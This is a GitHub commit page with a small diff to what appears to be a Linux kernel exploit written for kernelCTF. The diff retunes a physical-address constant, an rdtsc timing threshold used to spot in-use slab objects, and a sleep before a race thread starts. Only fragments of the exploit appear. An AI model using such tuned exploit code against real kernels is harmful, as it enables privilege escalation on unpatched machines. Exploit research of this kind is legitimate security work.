Skip to content

Commit

Permalink
fix: change cos timerfd timing, verified at kernelctf server & flag
Browse files Browse the repository at this point in the history
  • Loading branch information
qwerty-theori committed Dec 16, 2024
1 parent a8f152f commit 09335ab
Showing 1 changed file with 4 additions and 4 deletions.
Original file line number Diff line number Diff line change
Expand Up @@ -474,8 +474,8 @@ static inline size_t rdtsc_end(void)
#endif
}

uint64_t PHYS_LO_32 = 0x2200000;
// uint64_t PHYS_LO_32 = 0x5200000;
// uint64_t PHYS_LO_32 = 0x2200000;
uint64_t PHYS_LO_32 = 0x1f00000;

#define N_PAGESPRAY 0x500
#define MMAP_SIZE 0x400000
Expand Down Expand Up @@ -590,7 +590,7 @@ int race_trigger(void *arg)

int inuse = -1, currv = 0;
for(int i=OBJS_PER_SLAB-1; i>=0; i--)
if(times[i] > 6000)
if(times[i] > 5500)
{
inuse = OBJS_PER_SLAB - i;
break;
Expand Down Expand Up @@ -631,7 +631,7 @@ int race_trigger(void *arg)
wait(NULL);
}

sleep(1);
// sleep(1);

listen_pid = clone(race_thread, stack + 0x100000, CLONE_VM | SIGCHLD, NULL);

Expand Down

0 comments on commit 09335ab

Please sign in to comment.